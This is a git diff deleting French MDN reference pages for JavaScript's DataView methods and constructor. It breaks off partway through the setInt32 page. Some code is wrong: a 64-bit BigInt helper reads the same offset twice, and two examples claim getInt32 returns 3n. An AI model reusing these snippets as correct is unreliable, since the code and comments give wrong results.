Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getUint16

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getUint16(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getUint16")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html deleted file mode 100644 index 901321e34a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getUint32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint32 ---- -
{{JSRef}}
- -

La méthode getUint32() permet de lire un entier non-signé sur 32 bits (type unsigned long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getuint32.html")}}
- - - -

Syntaxe

- -
dataview.getUint32(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un entier sur 32 bits, non-signé.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getUint32()

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getUint32(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getUint32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html deleted file mode 100644 index 1a4545b47e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: DataView.prototype.getUint8() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint8 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint8 ---- -
{{JSRef}}
- -

La méthode getUint8() permet de lire un entier non-signé sur 8 bits à l'octet donné par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getuint8.html")}}
- - - -

Syntaxe

- -
dataview.getUint8(positionOctet)
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
- -

Valeur de retour

- -

Un entier sur 8 bits, non-signé.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getUint8

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getUint8(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getUint8")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/index.html deleted file mode 100644 index f8887888d7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: DataView -slug: Web/JavaScript/Reference/Objets_globaux/DataView -tags: - - Constructor - - DataView - - JavaScript - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/DataView ---- -
{{JSRef}}
- -

La vue DataView fournit une interface de bas niveau pour lire et écrire des données de différents types numériques dans un {{jsxref("ArrayBuffer")}}, quel que soit le « boutisme » de la plate-forme.

- -
{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}
- - - -

Syntaxe

- -
new DataView(buffer [, décalageOctets [, longueurOctets]])
- -

Paramètres

- -
-
buffer
-
Un {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}}{{experimental_inline}} existant à utiliser pour la mise en mémoire du nouvel objet DataView.
-
décalageOctets {{optional_inline}}
-
Le décalage, exprimé en octets, pour trouver le premier octet significatif du buffer à représenter dans la vue. Si ce paramètre n'est pas fourni, la vue commencera au premier octet du buffer.
-
longueurOctets {{optional_inline}}
-
Le nombre d'éléments dans le tableau d'octets. Si ce paramètre n'est pas fourni, la longueur de la vue correspondra à celle du buffer.
-
- -

Valeur de retour

- -

Un nouvel objet DataView représentant le tampon mémoire (buffer) fourni.

- -

L'objet ainsi renvoyé peut être vu comme un interpréteur du tampon mémoire. Cet objet sait comment convertir des nombres afin de lire ou d'écrire des valeurs dans le tampon. C'est la vue qui s'occupe de la gestion des entiers, de la conversion des flottants, du boutisme utilisé et des autres détails de représentation binaire.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si les paramètres décalageOctets et longueurOctets dépassent la fin du buffer fourni.
-
- -

Ainsi, si la taille du tampon mémoire est de 16 octets, que décalageOctetsvaut 8 et que longueurOctets vaut 10, cette exception est levée car la vue résultante dépassera de deux octets la longueur totale du tampon mémoire.

- -

Description

- -

Le boutisme (endianness)

- -

En utilisant cet objet, vous pouvez détecter le type d'architecture qui exécute votre script, ce qui peut être utile dans certains cas. Voici un fragment de code pour permettre cette détection. Voir {{Glossary("Endianness")}} pour plus d'informations.

- -
var littleEndian = (function() {
-  var buffer = new ArrayBuffer(2);
-  new DataView(buffer).setInt16(0, 256, true /*littleEndian donc */);
-  // Int16Array utilise le boutisme de la plate-forme
-  return new Int16Array(buffer)[0] === 256;
-})();
-console.log(littleEndian); // true ou false
-
- -

Gestion des valeurs entières sur 64 bits

- -

JavaScript manipule les nombres comme des valeurs sur 32 bits. Aussi, le moteur ne prend pas en charge la gestion des entiers sur 64 bits et on ne peut donc pas manipuler de telles valeurs avec DataView. Afin de contourner ce problème, on peut implémenter une méthode getUint64() afin d'otbenir une valeur avec une précision allant jusqu'à {{jsxref("Number.MAX_SAFE_INTEGER")}}, ce qui peut être suffisant dans certains cas.

- -
function getUint64(dataview, byteOffset, littleEndian) {
-  // on décompose la valeur 64 sur bits en deux nombres 32 bits
-  const gauche = dataview.getUint32(byteOffset, littleEndian);
-  const droite = dataview.getUint32(byteOffset + 4, littleEndian);
-
-  // on combine les deux valeurs 32 bits
-  const combinaison = littleEndian ? gauche + 2**32*droite : 2**32*gauche + droite;
-  if(!Number.isSafeInteger(combinaison)){
-    console.warn(combinaison, " dépasse MAX_SAFE_INTEGER : perte de précision !");
-  }
-  return combinaison;
-}
- -

On peut également créer un objet {{jsxref("BigInt")}} si on veut avoir accès à 64 bits :

- -
function getUin64BigInt(dataview, byteOffset, littleEndian) {
-  const left = dataview.getUint32(byteOffset, littleEndian);
-  const right = dataview.getUint32(byteOffset, littleEndian);
-
-  const combined = littleEndian ?
-    right.toString(16) + left.toString(16).padStart(8, '0') :
-    left.toString(16) + right.toString(16).padStart(8, '0');
-
-  return BigInt(`0x${combined}`);
-}
- -
-

Note : Sur le plan des performances, les grands entiers ({{jsxref("BigInt")}} ont une taille variable, aussi leur manipulation sera nécessairement plus lente que celle des nombres stockés sur 32 bits. Ceci étant écrit, les valeurs natives {{jsxref("BigInt")}} seront plus performantes que les implémentations tierces (bibliothèques, etc.).

-
- -

Propriétés

- -

Toutes les instances de DataView héritent de {{jsxref("DataView.prototype")}} qui permet d'ajouter des propriétés à l'ensemble des objets DataView.

- -

{{page("fr/Web/JavaScript/Reference/Objets_globaux/DataView/prototype","Propriétés")}}

- -

Méthodes

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/DataView/prototype','Méthodes')}}

- -

Exemples

- -
var buffer = new ArrayBuffer(16);
-var dv = new DataView(buffer, 0);
-
-dv.setInt16(1, 42);
-dv.getInt16(1); //42
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6
{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView")}}

- -

Notes de compatibilité

- -

A partir de Firefox 40 {{geckoRelease(40)}}, DataView doit êre construit avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on invoque DataView() sans utiliser new, cela lèvera une exception {{jsxref("TypeError")}}.

- -
var dv = DataView(buffer, 0);
-// TypeError: calling a builtin DataView constructor without new is forbidden
- -
var dv = new DataView(buffer, 0);
- -

Voir aussi

- -
    -
  • jDataView : une bibliothèque JavaScrit qui ajoute des prothèses et des extensions à l'API DataView afin de pouvoir la manipuler au travers des différents navigateurs et de Node.js.
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("SharedArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html deleted file mode 100644 index fd20057af1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: DataView.prototype -slug: Web/JavaScript/Reference/Objets_globaux/DataView/prototype -tags: - - DataView - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/DataView -translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype ---- -
{{JSRef}}
- -

La propriété DataView.prototype représente le prototype de l'objet {{jsxref("DataView")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Chacune des instances de DataView hérite de DataView.prototype. Comme pour chacun des constructeurs, il est possible de changer le prototype du constructeur afin d'apporter des modifications pour toutes les instances de DataView.

- -

Propriétés

- -
-
{{jsxref("DataView.prototype.constructor")}}
-
Définit la fonction qui permet de créer le prototype d'un objet. La valeur initiale correspond au constructeur natif standard DataView.
-
{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}
-
L'{{jsxref("ArrayBuffer")}} référencé par cette vue. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
-
{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}
-
La longueur, exprimée en octets, de la vue à partir du début de son {{jsxref("ArrayBuffer")}}. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
-
{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}
-
Le décalage, exprimé en octets, entre le début de la vue et du {{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
-
- -

Méthodes

- -

Lecture

- -
-
{{jsxref("DataView.prototype.getInt8()")}}
-
Obtient un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.
-
{{jsxref("DataView.prototype.getUint8()")}}
-
Obtient un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getInt16()")}}
-
Obtient un entier signé codé sur 16 bits (short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getUint16()")}}
-
Obtient un entier non-signé codé sur 16 bits (unsigned short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getInt32()")}}
-
Obtient un entier signé codé sur 32 bits (long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getUint32()")}}
-
Obtient un entier non-signé codé sur 32 bits (unsigned long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getFloat32()")}}
-
Obtient un flottant codé sur 32 bits (float par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getFloat64()")}}
-
Obtient un flottant codé sur 64 bits (double par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getBigInt64()")}}
-
Obtient un entier signé sur 64 bits (long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.getBigUint64()")}}
-
Obtient un entier non-signé sur 64 bits (unsigned long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
- -

Écriture

- -
-
{{jsxref("DataView.prototype.setInt8()")}}
-
Enregistre un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.
-
{{jsxref("DataView.prototype.setUint8()")}}
-
Enregistre un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setInt16()")}}
-
Enregistre un entier signé codé sur 16 bits (short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setUint16()")}}
-
Enregistre un entier non-signé codé sur 16 bits (unsigned short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setInt32()")}}
-
Enregistre un entier signé codé sur 32 bits (long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setUint32()")}}
-
Enregistre un entier non-signé codé sur 32 bits (unsigned long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setFloat32()")}}
-
Enregistre un flottant codé sur 32 bits (float par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setFloat64()")}}
-
Enregistre un flottant codé sur 64 bits (double par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setBigInt64()")}}
-
Enregistre un entier signé sur 64 bits (long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
{{jsxref("DataView.prototype.setBigUint64()")}}
-
Enregistre un entier non-signé sur 64 bits (unsigned long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html deleted file mode 100644 index c65978bd74..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: DataView.prototype.setBigInt64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigInt64 -tags: - - BigInt - - DataView - - JavaScript - - Méthode - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64 ---- -
{{JSRef}}
- -

La méthode setBigInt64() permet d'enregister un entier signé sur 64 bits (type long long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setbigint64.html")}}
- - - -

Syntaxe

- -
dataview.setBigInt64(positionOctet, value [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setBigInt64()

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setBigInt64(0, 3n);
-dataview.getInt32(0); // 3n
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour DataView.prototype.setBigInt64()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setBigInt64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html deleted file mode 100644 index 21ab72e54b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: DataView.prototype.setBigUint64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigUint64 -tags: - - BigInt - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64 ---- -
{{JSRef}}
- -

La méthode setBigUint64() permet d'enregister un entier non-signé sur 64 bits (type unsigned long long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setbiguint64.html")}}
- - - -

Syntaxe

- -
dataview.setBigUint64(positionOctet, value [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setBigUint64()

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setBigUint64(0, 3n);
-dataview.getInt32(0); // 3n
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour DataView.prototype.setBigUint64()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setBigUint64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html deleted file mode 100644 index ebea17bc04..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setFloat32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat32 ---- -
{{JSRef}}
- -

La méthode setFloat32() permet d'enregistrer un nombre flottant signé sur 32 bits (type float par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setfloat32.html")}}
- - - -

Syntaxe

- -
dataview.setFloat32(positionOctet, valeur [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setFloat32

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setFloat32(1, 3);
-dataview.getFloat32(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setFloat32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html deleted file mode 100644 index e8db496af9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setFloat64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat64 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat64 ---- -
{{JSRef}}
- -

La méthode setFloat64() permet d'enregistrer un nombre flottant signé sur 64 bits (type double par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setfloat64.html")}}
- - - -

Syntaxe

- -
dataview.setFloat64(positionOctet, value [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setFloat64

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setFloat64(0, 3);
-dataview.getFloat64(0); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setFloat64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html deleted file mode 100644 index 0e39e1ddb4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setInt16() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt16 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt16 ---- -
{{JSRef}}
- -

La méthode setInt16() permet d'enregister un entier signé sur 16 bits (type short par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setint16.html")}}
- - - -

Syntaxe

- -
dataview.setInt16(positionOctet, value [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 16 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setInt16

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setInt16(1, 3);
-dataview.getInt16(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015 (ES6).
{{SpecName('ES2015', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setInt16")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html deleted file mode 100644 index 84338c5ddb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setInt32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt32 ---- -
{{JSRef}}
- -

La méthode setInt32() permet d'enregister un entier signé sur 32 bits (type long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setint32.html")}}
- - - -

Syntaxe

- -
dataview.setInt32(positionOctet, value [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
